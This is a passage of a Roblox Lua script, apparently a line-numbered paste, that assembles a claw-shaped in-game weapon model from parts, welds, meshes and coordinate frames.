  698. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  699. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  700. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  701. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  702. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  703. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  704. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  705. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  706. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  707. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  708. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  709. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  710. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  711. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  712. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  713. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  714. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  715. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  716. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  717. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  718. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  719. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  720. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  721. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  722. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  723. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  724. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  725. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  726. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  727. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  728. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  729. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  730. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  731. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  732. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  733. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  734. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  735. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  736. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  737. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  738. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  739. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  740. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  741. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  742. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  743. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  744. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  745. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  746. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  747. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  748. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  749. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  750. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "White", "Part", Vector3.new(1, 1, 1))
  751. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  752. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  753. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  754. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  755. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  756. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  757. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  758. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  759. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  760. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  761. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  762. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  763. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  764. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  765. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  766. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  767. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  768. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  769. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  770. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  771. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  772. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  773. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  774. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  775. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  776. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  777. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  778. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  779. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  780. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  781. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  782. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  783. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  784. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  785. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  786. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  787. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  788. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  789. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  790. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  791. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  792. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  793. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  794. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  795. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  796. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  797. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  798. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  799. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  800. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  801. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  802. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  803. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  804. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  805. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  806. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  807. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  808. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  809. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  810. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  811. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  812. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  813. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  814. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  815. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  816. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  817. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  818. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  819. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  820. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  821. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  822. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  823. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  824. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  825. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  826. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  827. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  828. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  829. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  830. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  831. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  832. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  833. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  834. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  835. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  836. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  837. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  838. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  839. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  840. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  841. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  842. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  843. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  844. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
